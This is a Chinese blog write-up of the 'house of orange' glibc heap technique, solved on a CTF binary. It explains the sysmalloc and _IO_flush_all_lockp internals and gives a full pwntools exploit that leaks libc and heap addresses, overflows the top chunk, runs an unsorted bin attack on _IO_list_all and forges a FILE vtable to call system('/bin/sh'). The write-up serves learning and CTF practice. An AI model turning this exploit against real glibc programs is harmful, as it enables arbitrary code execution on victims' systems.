本文最后更新于:星期二, 三月 12日 2019, 5:43 下午

今天学习了下house_of_orange,总算是把house_of_orange给搞懂了

house_of_orange原理其实很简单,就是利用unsorted bin attack 和_IO_FILE利用的结合

这里涉及到的知识点有点多,是堆利用和IO_FILE利用的结合,所以要对两者都有一定的了解

直接拿house_of_orange这道经典的题来说吧

防护机制:

1537441843635

基本程序逻辑:一共有三个功能

  1. build 创建一个house 输入housename的长度、内容、price、color的一些信息,并且它的将house更新为最新分配的house,所以我们只能对刚分配的house进行操作
  2. upgrade 更新house的内容,这里读取name时存在堆溢出漏洞
  3. see 打印出house的信息 ,这里可以将地址leak出来

大致思路:

通过堆溢出,修改top chunk的大小,然后分配一个大小大于top chunk大小的chunk,所以 旧top chunk就会被free掉,进入unsorted bin中,然后再分配一个大小在large bin 的大小范围内的chunk,那么这个chunk就会包含libc的地址和它本身的地址,通过两次upgrade和see将libc地址和heap地址都泄露出来。之后通过堆溢出修改old top chunk的size字段为0x60,利用unsorted bin attack将 _IO_list_all修改为main_arena+0x58,同时old top chunk会被链入small bin中,如果再分配一个chunk,就会触发malloc_printerr,会遍历IO_llist_all,最终调用 IO_overflow函数,具体的下面会展开

  • 首先这个题没有free功能,所以要想办法可以生成一个unsorted bins的chunk,这里是通过堆溢出,修改top chunk的大小,使它变小,这里要注意top chunk的size是有一些检查的,然后分配一个大小超出top chunk大小的chunk,这时根据申请的大小,会通过sysmalloc 来分配,如果申请的大小小于mmap的阀值的话,就会扩展top chunk,将old top chunk free掉,如果大于的话,就会通过mmap申请一块新的堆块。

sysmalloc源码:

  if (av == NULL
      || ((unsigned long) (nb) >= (unsigned long) (mp_.mmap_threshold)
          && (mp_.n_mmaps < mp_.n_mmaps_max)))/*这里进行判断,判断分配的大小是否大于mmap分配的阀值,如果大于就是用mmap从新分配一个堆块,否则就会扩展top chunk*/
    {
      char *mm;           /* return value from mmap call*/
    try_mmap:

    .........
    ..........
      if (old_size != 0)
                    {
                      /*
                         Shrink old_top to insert fenceposts, keeping size a
                         multiple of MALLOC_ALIGNMENT. We know there is at least
                         enough space in old_top to do this.
                       */
                      old_size = (old_size - 4 * SIZE_SZ) & ~MALLOC_ALIGN_MASK;
                      set_head (old_top, old_size | PREV_INUSE);
                      set_head (chunk_at_offset (old_top, old_size),
                                (2 * SIZE_SZ) | PREV_INUSE);
                      set_head (chunk_at_offset (old_top, old_size + 2 * SIZE_SZ),
                                (2 * SIZE_SZ) | PREV_INUSE);
                      /* If possible, release the rest. */
                      if (old_size >= MINSIZE)
                        {
                          _int_free (av, old_top, 1);/*将old top chunk free掉,加入unsorted bin*/
                        }
                    }
     ...........省略了挺多的 具体可以自己去看源码
  • 能产生unsorted bin 之后,就要想着怎么泄露出libc地址了,libc地址很好泄露,但是heap的地址也要泄露出来,用于后面伪造_IO_FILE_plus结构体。这里的做法是,通过申请一个large bin大小的chunk,那么它的fd_nextsize和bk_nextsize中会存放自身的地址,通过这就可以泄露出堆地址

    具体做法是,是使用upgrade功能,将name依次更新为‘aaaaaaaa’及’a’*16 然后通过see功能就可以将地址打印出来

build(0x400,'a'*8,123,1)
see()
p.recvuntil("a"*8)
leak = u64(p.recv(6).ljust(8,'\x00'))
libc_base = leak -1640- 0x3c4b20  
print "libc base address -->[%s]"%hex(libc_base)

upgrade(0x400,'a'*16,123,1)
see()
p.recvuntil('a'*16)
leak_heap = u64(p.recv(6).ljust(8,'\x00'))
heap_base = leak_heap - 0xe0
print "leak_heap -->[%s]"%hex(leak_heap)
print "heap_base -->[%s]"%hex(heap_base)
_IO_list_all = libc.symbols['_IO_list_all'] + libc_base
system = libc.symbols['system'] + libc_base
  • 利用unsoted bin attack将 _IO_list_all 修改为 main_arena+88 这个很容易就实现,之后再分配一个chunk时会触发malloc_printerr

       if (__builtin_expect (chunksize_nomask (victim) <= 2 * SIZE_SZ, 0)
                  || __builtin_expect (chunksize_nomask (victim)
                                       > av->system_mem, 0))
                malloc_printerr ("malloc(): memory corruption");
    
  • 触发malloc_printerr后会调用一系列函数,最终调用 _IO_overflow函数

    函数大致调用链
    malloc_printerr -> __libc_message -> __GI_abort -> _IO_flush_all_lockp -> _IO_OVERFLOW
    而_IO_OVERFLOW最后会调用vtable表中的__overflow 函数
    #define _IO_OVERFLOW(FP, CH) JUMP1 (__overflow, FP, CH)
    

    _IO_flush_all_lockp 源码:

    _IO_flush_all_lockp (int do_lock)
    {
      int result = 0;
      FILE *fp;
    #ifdef _IO_MTSAFE_IO
      _IO_cleanup_region_start_noarg (flush_cleanup);
      _IO_lock_lock (list_all_lock);
    #endif
      for (fp = (FILE *) _IO_list_all; fp != NULL; fp = fp->_chain)
        {
          run_fp = fp;
          if (do_lock)
            _IO_flockfile (fp);
          if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)/*一些检查,需要绕过*/
               || (_IO_vtable_offset (fp) == 0
                   && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
                                        > fp->_wide_data->_IO_write_base))/*也可以绕过这个*/
               )
              && _IO_OVERFLOW (fp, EOF) == EOF)/*遍历_IO_list_all ,选出_IO_FILE作为_IO_OVERFLOW的参数,执行函数*/
            result = EOF;
          if (do_lock)
            _IO_funlockfile (fp);
          run_fp = NULL;
        }
    #ifdef _IO_MTSAFE_IO
      _IO_lock_unlock (list_all_lock);
      _IO_cleanup_region_end (0);
    #endif
      return result;
    }
    

    所以这里通过将_IO_list_all修改为main_arena+0x58,这时IO_list_all中的 *chain指针位于 _IO_list_all + 0x68的位置,也就是 main_arena + 0x58 + 0x68–>small bin中大小为0x60的位置,所以将之前old top chunk的size修改为0x60,old top chunk就会链入small bin中,这时就可以将伪造的fake_file链入IO_all_list中,将fake_file的vtable指向伪造的IO_jump_t结构的地址,在伪造的 IO_jump_t 结构体中,在overflow函数处写入system函数,则最终会调用system函数

    伪造的file结构体要通过的条件

    1.((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
    
    或者是
    2.
    _IO_vtable_offset (fp) == 0 
    && fp->_mode > 0 
    && (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)
    

    一般来说上面比较好伪造,我下面的exp也是伪造的上面的

    如果伪造下面的话还要关注一下_wide_data结构体,这里就略过了

查看是否为伪造成功

1111

此时的vtable已经指向伪造的函数表了

1537450340051

exp:

from pwn import*
context.log_level = 'debug'

p = process('./houseoforange')
elf = ELF('./houseoforange')
libc = elf.libc

def menu(idx):
    p.recvuntil(': ')
    p.sendline(str(idx))

def see():
    menu(2)

def build(length, nm, pz, color):
    menu(1)
    p.recvuntil(":")
    p.sendline(str(length))
    p.recvuntil(":")
    p.send(nm)
    p.recvuntil(":")
    p.sendline(str(pz))
    p.recvuntil(":")
    p.sendline(str(color))

def upgrade(length, nm, pz, color):
    menu(3)
    p.recvuntil(":")
    p.sendline(str(length))
    p.recvuntil(":")
    p.send(nm)
    p.recvuntil(":")
    p.sendline(str(pz))
    p.recvuntil(":")
    p.sendline(str(color))

build(0x30,'a'*8,123,1)
#gdb.attach(p)

payload = 'a'*0x30 + p64(0) + p64(0x21) +'a'*16+ p64(0)+ p64(0xf80)
upgrade(len(payload),payload,123,2)

build(0x1000,'b',123,1)
log.info('-----------------------leak address-------------------------')
build(0x400,'a'*8,123,1)
see()
p.recvuntil("a"*8)
leak = u64(p.recv(6).ljust(8,'\x00'))
libc_base = leak -1640- 0x3c4b20  
print "libc base address -->[%s]"%hex(libc_base)

upgrade(0x400,'a'*16,123,1)
see()
p.recvuntil('a'*16)
leak_heap = u64(p.recv(6).ljust(8,'\x00'))
heap_base = leak_heap - 0xe0
print "leak_heap -->[%s]"%hex(leak_heap)
print "heap_base -->[%s]"%hex(heap_base)

_IO_list_all = libc.symbols['_IO_list_all'] + libc_base
system = libc.symbols['system'] + libc_base
log.info('-------------------------unsorted bin and build fake file--------------------------')
payload = 'a'*0x400
payload += p64(0) + p64(0x21) + 'a'*0x10
fake_file = '/bin/sh\x00' + p64(0x60) 
#这里写入binsh字符串是因为最后调用vtable中的函数时会将IO_FILE的指针作为参数
fake_file += p64(0) + p64(_IO_list_all - 0x10)#unsorted bin attack
fake_file += p64(0) + p64(1) #bypass check 
fake_file = fake_file.ljust(0xc0,'\x00')

payload += fake_file
payload += p64(0)*3
payload += p64(heap_base + 0x5e8)#vtable
payload += p64(0)*2
payload += p64(system)
upgrade(0x800,payload,123,1)

p.recv()
p.sendline('1')
p.interactive()


Heap_Exploitation      pwn houseofxxx

本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!